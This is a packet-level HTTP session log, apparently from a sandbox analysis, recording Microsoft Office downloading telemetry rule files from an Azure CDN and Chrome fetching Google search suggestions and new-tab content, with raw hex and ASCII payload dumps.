2024-11-19 00:01:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 885b02a2-801e-0035-1509-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000125Z-16547b76f7fjx5nrhC1DFW4dsc00000003k0000000010ps7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:25 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:25 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 583adeae-001e-005a-5789-38c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000125Z-164f84587bfn7ppchC1DFW45b400000000v000000000v9zv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:25 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:25 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b85626fa-d01e-0017-75bb-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000125Z-r18f44ddb69vpnwdhC1DFWa89n00000000ng000000006452 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:26 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4dbbda22-e01e-0033-5212-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000126Z-17cf5b775c42k66jhC1DFW26b800000000hg00000000gvgg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:26 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000126Z-r18f44ddb69tncq7hC1DFW3ke800000000p000000000fu7w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:26 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 33178deb-401e-0048-6eb6-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000126Z-16547b76f7fw2955hC1DFWsptc00000007400000000002pv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:26 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000126Z-16547b76f7ff9zf4hC1DFW2pfc000000043g00000000dcn0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:26 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000126Z-16547b76f7f7zzl8hC1DFWmtag00000005b000000000rk40 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49770	142.250.74.196	443	2328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:27 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 00:01:27 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:27 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-JuYn0RVMydRSFvUJRyU8EA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-19 00:01:27 UTC	112	IN	Data Raw: 33 66 62 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 6e 6f 76 65 6d 62 65 72 20 31 38 22 2c 22 61 75 73 74 69 6e 20 72 65 67 69 65 72 20 75 77 20 72 6f 77 69 6e 67 22 2c 22 74 73 61 20 6c 69 71 75 69 64 20 63 61 72 72 79 20 6f 6e 20 72 65 73 74 72 69 63 74 69 6f 6e 73 20 72 Data Ascii: 3fb)]}'["",["nyt connections hints november 18","austin regier uw rowing","tsa liquid carry on restrictions r
2024-11-19 00:01:27 UTC	914	IN	Data Raw: 65 6c 61 78 22 2c 22 6e 69 6e 74 65 6e 64 6f 20 73 77 69 74 63 68 20 6e 65 77 73 22 2c 22 6b 69 6e 67 20 74 69 64 65 73 20 6f 72 65 67 6f 6e 20 63 6f 61 73 74 22 2c 22 77 77 65 20 72 61 77 20 6e 65 74 66 6c 69 78 22 2c 22 73 61 6e 20 66 72 61 6e 63 69 73 63 6f 20 34 39 65 72 73 20 73 65 61 74 74 6c 65 20 73 65 61 68 61 77 6b 73 22 2c 22 73 70 61 63 65 78 20 66 61 6c 63 6f 6e 20 39 20 6f 70 74 75 73 20 78 20 6c 61 75 6e 63 68 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 Data Ascii: elax","nintendo switch news","king tides oregon coast","wwe raw netflix","san francisco 49ers seattle seahawks","spacex falcon 9 optus x launch"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoR
2024-11-19 00:01:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49772	142.250.74.196	443	2328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:27 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 00:01:27 UTC	1018	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 19 Nov 2024 00:01:27 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-19 00:01:27 UTC	360	IN	Data Raw: 31 63 31 39 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1c19)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-19 00:01:27 UTC	1378	IN	Data Raw: 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 Data Ascii: 3e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u0
